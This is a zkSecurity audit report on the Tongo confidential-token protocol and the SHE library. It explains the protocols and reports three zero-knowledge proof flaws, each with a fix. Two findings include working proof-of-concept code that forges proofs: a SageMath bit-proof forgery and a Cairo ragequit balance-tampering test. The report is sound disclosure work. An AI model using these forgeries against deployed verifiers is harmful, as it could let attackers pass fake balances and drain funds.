Introduction
On October 13th, 2025, FatSolutions engaged zkSecurity to perform a security audit of its Tongo protocol and the SHE homomorphic encryption library. The audit lasted two weeks and was conducted by two consultants.
During the engagement, the team was provided access to the codebase via two private repositories. Additionally, a private document outlining the Tongo protocol was shared.
The codebase was clean and thoroughly tested. Several observations and findings were identified and communicated to the FatSolutions team. These findings are detailed in the subsequent sections of this report.
Scope
The audit covered the following components:
Overview
SHE Overview
Starknet Homomorphic Encryption (SHE) is a low-level library that provides cryptographic primitives for ElGamal encryption and zero-knowledge proofs over the Starknet elliptic curve.
ElGamal Encryption
In Tongo, user balances are protected using additively homomorphic ElGamal encryption over the Starknet elliptic curve. A balance amount is encrypted under a public key as:
Where:
- is the Starknet curve generator
- is the public key associated with private key
- is the balance amount
- is a random blinding factor
To decrypt the ciphertext with a private key :
- Compute
- Find from , which can be computed efficiently since is bounded (e.g., )
Given two ciphertexts encrypting and , we can add these encrypted balances without decryption:
Similarly, subtraction yields:
This property allows confidential balance reconciliation during transactions while preserving privacy.
Proof of Exponent (POE)
A Proof of Exponent (POE) is a fundamental sigma protocol that allows a prover to demonstrate knowledge of a discrete logarithm, specifically a secret exponent such that . This is a core building block in many cryptographic systems, including in SHE protocol.
The protocol is shown in the following interactions:
-
Prover: Chooses a random and computes . Then sends to the verifier.
-
Verifier: Receives . Chooses a random challenge and sends it to the prover.
-
Prover: Receives challenge and computes . Then sends to the verifier.
-
Verifier: Receives . Accept the proof if ; otherwise reject the proof.
This verification holds since:
Additionally, POE can be extended to POE2 that proves and POEN that proves
Bit Proof
A bit proof allows a prover to demonstrate that a committed value is either 0 or 1 without revealing it. It is achieved by using sigma OR Proof, where two subproofs are combined, one real and one simulated.
The committed value is represented as Pedersen-style commitments of the form:
where:
- is a bit representing the committed value ()
- is a random blinding factor
- and are independent generators of the elliptic curve group
The protocol is shown in the following interactions:
-
Prover: Constructs and sends two transcripts where one is a simulated proof and the other is a real proof.
- If : set for random and , then for a random
- if : set for random and , then .
-
Verifier: Receives . Choose a random challenge and sends it to the verifier.
-
Prover: Constructs and sends to the verifier.
- If : computes and .
- If : computes and .
-
Verifier: Receives . Computes and accept the proof if the following equalities hold, otherwise rejects the proof:
Range Proof
Range proof allows prover to demonstrate that the committed value lies within a valid range (e.g., ), by using bit decomposition and proves that each bit is indeed a bit value with bit proof. Thus, any value can be written as:
where each .
In summary, a range proof in SHE is essentially a collection of bit proofs, each proving that one binary digit of the secret value is valid. Therefore, soundness of the range proof directly inherits from the security of the underlying bit proofs.
Same Encryption Proof
Same encryption proof shows that two ciphertexts under different public keys encrypt the same plaintext message. It is an essential building block in the SHE protocol within Tongo, ensuring that transferred balances are consistent across sender, receiver, and optional-auditor encryptions.
The statement to prove is as follows:
where:
- and are two public keys
- is the plaintext (e.g., transfer amount)
- , are the random blinding factors
The prover demonstrates knowledge of by composing multiple POE, such that:
Additionally, there is also a variant of the protocol where the prover don’t know one of the blinding factors. The prover compensates for the unknown random by proving knowledge of the secret key corresponding to one of the public keys. This variant is called Same Encryption Unknown Random in the implementation.
Tongo Overview
Tongo is a StarkNet-based protocol that wraps ERC20 tokens to provide enhanced privacy and security features. It leverages homomorphic encryption to hide transfer amounts and balances, ensuring confidentiality. The protocol supports operations such as funding, transferring, withdrawing tokens, and optional auditing.
Fund
The fund operation allows users to deposit ERC20 tokens into the Tongo protocol. The contract transfers tokens from the caller and adds the encrypted balance to the user’s account. The operation verifies the user’s signature to ensure authorization.
Transfer
The transfer operation enables users to send encrypted tokens to another account in Tongo. The transfer amount is hidden, and the recipient’s pending balance is updated. The operation uses two encrypted balances:
transferBalance: encrypts the amount for the receiver.
transferBalanceSelf: encrypts the amount for the sender.
The contract performs the following verifications:
- Ensures
transferBalance and transferBalanceSelf encrypt the same value (SameEncryption proof).
- Verifies the amount in
transferBalance is within the valid range (Range Proof).
- Ensures the sender’s balance remains within the valid range after the transfer (Range Proof).
- Deducts
transferBalanceSelf from the sender’s balance and adds transferBalance to the receiver’s pending balance.
Withdraw
The withdraw operation allows users to redeem their encrypted balances back into standard ERC20 tokens. The protocol verifies that the deducted balance is within the valid range to prevent underflows (Range Proof). Additionally, the ragequit operation enables users to withdraw their entire balance in a single transaction.
Pending Balance
To prevent potential DoS issues caused by balance changes during proof generation, Tongo separates user balances into two parts: balance and pending balance. Tokens received from other users are stored in the pending balance. Users must execute a rollover operation to merge the pending balance into the main balance. Withdrawals are only allowed from the main balance, ensuring that it remains stable unless explicitly authorized by the user.
The rollover operation consolidates an account’s pending balance into its main balance, finalizing incoming transfers and making them usable.
Auditor
The auditor functionality allows an optional third party to decrypt and verify encrypted balances. If an auditor is configured, the protocol maintains an audit_balance for each account, encrypted with the auditor’s public key. The auditor can use its private key to decrypt and verify balances. Whenever an account’s balance changes, the user must update the audit_balance. The SameEncryptionUnknownRandom Sigma Proof ensures that the audit_balance corresponds to the actual balance.
Below are listed the findings found during the engagement. High severity findings can be seen as
so-called
"priority 0" issues that need fixing (potentially urgently). Medium severity findings are most often
serious
findings that have less impact (or are harder to exploit) than high-severity findings. Low severity
findings
are most often exploitable in contrived scenarios, if at all, but still warrant reflection. Findings
marked
as informational are general comments that did not fit any of the other criteria.
Description. SHE uses a bit proof to demonstrate that a Pedersen-style commitment:
represents a binary value without revealing or .
This is achieved via a Sigma OR proof, where two subproofs are combined, one real and one simulated, which then transformed into a non-interactive form using the Fiat–Shamir transform.
This bit proof is used as a building block for range proof by decomposing a value into bit commitments and proves (via repeated bit proofs) that each bit lies within a set bit-size (e.g., 0/1 for each position), thereby asserting that the reconstructed value lies within a specified range.
However, in the current implementation, the Fiat–Shamir challenge is derived only from the ephemeral points and , while excluding the actual commitment itself from the hash input. This omission allows a malicious prover to re-bind the proof to a different commitment after seeing the challenge, thus invalidating the proof’s binding to the intended statement.
Impact. This issue allows a malicious prover to forge a bit proof as follows:
- Run the proving process normally up to the point where the prover sees the challenge (so and are fixed)
- Set to be equal such that
- Choose an arbitrary value
- Construct new with some unknown from the equation:
- The new forged commitment will pass the verification
This commitment passes the verification because it perfectly satisfies both verifier checks, with the other PoE check is trivially passed since :
The following sagemath code demonstrates the attack above:
import random
import hashlib
# Starknet curve parameters
p = 3618502788666131213697322783095070105623107215331596699973092056135872020481
a = 1
b = 3141592653589793238462643383279502884197169399375105820974944592307816406665
E = EllipticCurve(GF(p), (a, b))
# Base point
G = E(
874739451078007766457464989774322083649278607533249481151382481072868806602,
152666792071518830868575557812948353041420400780739481342941381225525861407,
)
n = E.order()
# Second base point
H = E(
0x162EB5CC8F50E522225785A604BA6D7E9AB06B647157F77C59A06032610B2D2,
0x220A56864C490175202E3E34DB0E24D12979FBFACEA16A360E8FEB1F6749192,
)
def compute_challenge(transcript):
c = hashlib.sha256()
for t in transcript:
if isinstance(t, Integer):
c.update(int.to_bytes(int(t), 32, "big"))
continue
c.update(int.to_bytes(int(t[0]), 32, "big"))
c.update(int.to_bytes(int(t[1]), 32, "big"))
return int.from_bytes(c.digest(), "big") % n
def simulate_poe(V):
s = random.randint(1, n - 1)
c = random.randint(1, n - 1)
A = H * s - V * c
return (A, c, s)
def bit_prove0(b):
r = random.randint(1, n - 1)
V = H * r
V1 = V - G
(A1, c1, s1) = simulate_poe(V1)
k = random.randint(1, n - 1)
A0 = H * k
c = compute_challenge([A0, A1])
c0 = c ^^ c1
s0 = (k + c0 * r) % n
return (V, A0, A1, c0, s0, s1)
def bit_prove1(b):
r = random.randint(1, n - 1)
V = G * b + H * r
V0 = V
(A0, c0, s0) = simulate_poe(V0)
k = random.randint(1, n - 1)
A1 = H * k
c = compute_challenge([A0, A1])
c1 = c ^^ c0
s1 = (k + c1 * r) % n
return (V, A0, A1, c0, s0, s1)
def bit_prove(b):
if b == 0:
return bit_prove0(b)
elif b == 1:
return bit_prove1(b)
else:
raise ValueError("b must be 0 or 1")
def bit_malprove(target_b):
b = target_b
r = random.randint(1, n - 1)
V = G * b + H * r
V0 = V - G
s1 = random.randint(1, n - 1)
c1 = 1
A1 = H * s1 - V0 * c1
k = random.randint(1, n - 1)
A0 = H * k
c = compute_challenge([A0, A1])
# forge V after seeing challenge c
# set c1 = c such that c0 = 0 so we pass first PoE
c1 = c
Gb = G * b # attacker-chosen b
Hr = (H*s1 - A1) * inverse_mod(c1, n) + G - Gb
V_prime = Gb + Hr
c0 = c ^^ c1
s0 = (k + c0 * r) % n
return (V_prime, A0, A1, c0, s0, s1)
def bit_verify(proof):
(V, A0, A1, c0, s0, s1) = proof
c = compute_challenge([A0, A1])
c1 = c ^^ c0
# H * s0 = A0 + V * c0
left0 = H * s0
right0 = A0 + V * c0
# H * s1 = A1 + (V - G) * c1
V1 = V - G
left1 = H * s1
right1 = A1 + V1 * c1
assert left0 == right0
assert left1 == right1
return True
# Sanity check
for b in [0, 1]:
proof = bit_prove(b)
assert bit_verify(proof)
# Malicious prove with tampered commitment V with invalid b=13337
proof = bit_malprove(13337)
assert bit_verify(proof)
It should be noted that this full exploit chain works due to the fact that the verifier is also not checking whether and are non-zero scalar. But, the root cause remains that the prover can freely alter the commitment after observing the challenge , because is not included in the Fiat–Shamir hash computation.
Since range proofs are constructed from multiple bit proofs, forging a single bit proof also forges the entire range proof. A malicious prover can therefore make an out-of-range value appear valid, breaking the soundness of the range proof system.
Recommendation. Include bit commitment into the challenge to bind the statement. Additionally, reject all proofs where or is equal zero.
Client Response. Fixed in https://github.com/fatlabsxyz/she/pull/16/commits/c8039b8a85cce4b1104200f9dca518f3b27f13d3.
Description. SHE uses a Proof of Exponent (POE) as a core building block for ElGamal encryption and Same Encryption proof. This is achieved via Sigma protocol, which is then transformed into a non-interactive form using the Fiat-Shamir transform.
To maintain composability across different protocols, the implementation of POE computes the challenge only from the commitment , while the absorption of public inputs is deferred to an external value called prefix, which is computed independently outside the function. As shown in the example below, taken from the poe.cairo verification snippet:
pub fn verify_with_prefix(inputs: PoeInputs, proof: PoeProofWithPrefix) -> Result<(), Errors> {
let PoeInputs { y, g } = inputs;
let PoeProofWithPrefix { A, prefix, s } = proof;
let commitments = array![A];
let c = compute_challenge(prefix, commitments);
_verify(y, g, A, c, s)
}
However, this mechanism introduces a footgun in API usage, as it relies on the caller to correctly include all public inputs into the prefix. If the developer forgets to absorb one or more critical inputs, the resulting challenge will not be bound to those values. This can lead to proofs that remain valid even when key elements of the statement (e.g., encrypted balances, commitments, or generators) are altered.
In some protocols where represents a public key (thus already bound to the prefix) or is fixed and hard-coded (e.g., base point of Starknet curve), it might be acceptable. However, since these inputs can also originate from dynamic or auxiliary sources, the design becomes highly prone to misuse, as developers can easily omit critical values from the challenge computation.
Consequently, this issue propagates to all parent functions and higher-level proofs that internally rely on the POE component, since their soundness ultimately depends on the same challenge computation. This omission causes the affected values to be unbound from the proof statement, as shown in the following affected Tongo operations:
- Ragequit:
- Missing
currentBalance (L1, R1)
- Withdraw:
- Missing
currentBalance (L0, R0)
- Missing value commitment
V
- Missing blinding commitment
R_aux
- Transfer:
- Missing
currentBalance (CL, CR)
- Missing
transferBalanceSelf (L, R)
- Missing
transferBalance (L_bar, R_bar)
- Missing value commitments (
V, V2)
- Missing blinding commitments (
R_aux, R_aux2)
- Audit:
- Missing
storedBalance (L0, R0)
- Missing
auditedBalance (L_audit, R_audit)
- Missing
y
- Missing
auditorPubKey
Impact. This issue results in proof malleability or statement substitution, where a proof remains valid for different statement.
Consider the following Proof of Concept where an attacker can create bad proof with invalid amount in ragequit operation:
use tongo::structs::traits::Challenge;
use tongo::structs::traits::Prefix;
use tongo::structs::operations::ragequit::InputsRagequit;
use crate::prover::utils::{generate_random};
use starknet::ContractAddress;
use crate::prover::functions::prove_ragequit;
use tongo::verifier::ragequit::verify_ragequit;
use tongo::structs::common::{
cipherbalance::{CipherBalance,CipherBalanceTrait},
};
use crate::prover::utils::pubkey_from_secret;
#[test]
fn test_ragequit() {
let seed = 21389321;
let tranfer_address: ContractAddress = 'asdf'.try_into().unwrap();
let x = generate_random(seed, 1);
let y = pubkey_from_secret(x);
// balance stored
let initial_balance = 100;
let r0 = generate_random(seed, 2);
let currentBalance:CipherBalance = CipherBalanceTrait::new(y, initial_balance, r0);
// end of setup
let amount = 100;
let nonce = 12;
let (inputs, proof, _) = prove_ragequit(
x, amount, tranfer_address, currentBalance, nonce, generate_random(seed, 3)
);
verify_ragequit(inputs, proof);
// `currentBalance` tampering attack in ragequit verification
// The `currentBalance` is not hashed in the challenge. An attacker can modify it after seeing `c`.
// In this PoC, we first create a valid proof for ragequit with `r0` and `amount`.
// Then, after obtaining the challenge `c`, we compute a new `r0_new` and `amount_new` with existing proof values
// such that the verification equation still holds.
// Equation to verify: sx * r_new = kx * r0 + c * (a_new + x * r_new - a) mod CURVE_ORDER
// we set:
// - a_new + x * r_new - a = 1 => a_new = a - x * r_new + 1
// - r_new = (kx * r0 + c) / sx
let CURVE_ORDER: felt252 = 0x800000000000010ffffffffffffffffb781126dcae7b2321e66a241adc64d2f;
// copy c
let prefix = inputs.compute_prefix();
let c = proof.compute_challenge(prefix);
println!("c = {}", c);
// copy kx
let kx = generate_random(generate_random(seed, 3), 1);
println!("kx = {}", kx);
// r0_new = (kx * r0 + c) / sx mod CURVE_ORDER
println!("(({} * {} + {}) * pow({}, -1, {})) % {}", kx, r0, c, proof.sx, CURVE_ORDER, CURVE_ORDER);
let r0_new: felt252 = 3222010810381332874565065320844356089809441771638661176966701919175931654009;
// amount_new = (amount - x * r0_new + 1) mod CURVE_ORDER
println!("({} - {} * {} + 1) % {}", amount, x, r0_new, CURVE_ORDER);
let amount_new: felt252 = 796490766033734321952338354584598014817911144683472570270013617350928606634;
let currentBalance_new: CipherBalance = CipherBalanceTrait::new(y, amount_new, r0_new);
let inputs_fake: InputsRagequit = InputsRagequit {
y: inputs.y,
nonce: inputs.nonce,
to: inputs.to,
amount: inputs.amount,
currentBalance: currentBalance_new,
prefix_data: inputs.prefix_data,
};
// Here we use the same proof as before, but with modified `currentBalance` in the inputs.
verify_ragequit(inputs_fake, proof);
}
Recommendation. Ensure that all relevant public inputs from the prover are consistently absorbed into the prefix prior to the challenge computation. Alternatively, adopt a safer API design, where the inner function directly includes all public inputs as challenge computation.
Client Response. Fixed in https://github.com/fatlabsxyz/tongo/pull/122.
Description. In order to verify withdraw and transfer operation, the verifier requires to check that two encryptions for two different keys are valid and that they are encrypting the same amount , which is implemented in SameEncryptionUnknownRandom::_verify that is shown in the following Cairo snippet.
pub fn _verify(
L1: NonZeroEcPoint,
R1: NonZeroEcPoint,
L2: NonZeroEcPoint,
R2: NonZeroEcPoint,
g: NonZeroEcPoint,
y1: NonZeroEcPoint,
y2: NonZeroEcPoint,
Ax: NonZeroEcPoint,
AL1: NonZeroEcPoint,
AL2: NonZeroEcPoint,
AR2: NonZeroEcPoint,
c: felt252,
sb: felt252,
sx: felt252,
sr2: felt252,
) -> Result<(), Errors> {
in_curve_order(c)?;
in_curve_order(sb)?;
in_curve_order(sx)?;
in_curve_order(sr2)?;
if poe::_verify(y1, g, Ax, c, sx).is_err() {
return Err(Errors::SameEnctyptionUnKnownRandomError);
}
if poe2::_verify(L1, g, R1, AL1, c, sb, sx).is_err() {
return Err(Errors::SameEnctyptionUnKnownRandomError);
}
if ElGamal::_verify(L2, R2, g, y2, AL2, AR2, c, sb, sr2).is_err() {
return Err(Errors::SameEnctyptionUnKnownRandomError);
}
Ok(())
}
Specifically, given inputs , commitments , and proofs with the challenge , it performs the following checks:
However, in the withdraw and transfer operation (verifyWithdraw and verifyTransfer) in the Typescript version, it verifies not through SameEncryptionUnknownRandom and instead defines the checks one-by-one via POE and POE2, which turns out to be incomplete, as shown in the following verifyWithdraw example:
export function verifyWithdraw(
inputs: InputsWithdraw,
proof: ProofOfWithdraw,
) {
const bit_size = inputs.bit_size;
const prefix = prefixWithdraw(
inputs.prefix_data,
inputs.y,
inputs.nonce,
inputs.amount,
inputs.to
);
const c = compute_challenge(prefix, [proof.A_x, proof.A_r, proof.A, proof.A_v]);
let res = poe._verify(inputs.y, g, proof.A_x, c, proof.sx);
if (res == false) { throw new Error("error in poe y"); }
const { R: R0 } = inputs.currentBalance;
let { L: L0 } = inputs.currentBalance;
L0 = L0.subtract(g.multiply(inputs.amount));
res = poe2._verify(L0, g, R0, proof.A, c, proof.sb, proof.sx);
if (res == false) { throw new Error("error in poe2 Y"); }
const V = verifyRangeProof(proof.range, bit_size, prefix);
if (V == false) { throw new Error("error in range for V"); }
res = poe2._verify(V, g, h, proof.A_v, c, proof.sb, proof.sr);
if (res == false) { throw new Error("error in poe2 V"); }
}
Which, in details only performs the following checks (excluding range proof):
As seen in the checks above, it omits the ElGamal blinding check that binds to the second ciphertext’s randomness via . As a result, is never linked to in the typescript version, allowing to be altered without being cryptographically tied to the claimed randomness.
Impact. This issue cause withdraw and transfer verification to be unsound with respect to the second ciphertext: a prover can pass verification while providing a mismatched or adversarial that is not the same-encryption of the amount under .
That said, the immediate impact is limited, since the current TypeScript implementation primarily functions as a prover rather than an authoritative verifier. Nevertheless, the underlying logical inconsistency still warrants correction to prevent future misuse, ensure consistency with the Cairo verifier, and maintain the intended proof soundness.
Recommendation. We suggest to use SameEncryptionUnknownRandom.verify() in the withdraw and transfer verification, as also implemented in the Cairo version. This ensures that all sub-checks are consistently enforced and that both ciphertexts are properly bound to the same encrypted value.
Client Response. Fixed in https://github.com/fatlabsxyz/tongo/pull/122/commits/c9ac11ca639ef0de8c163147af76ab0c7dbe437f.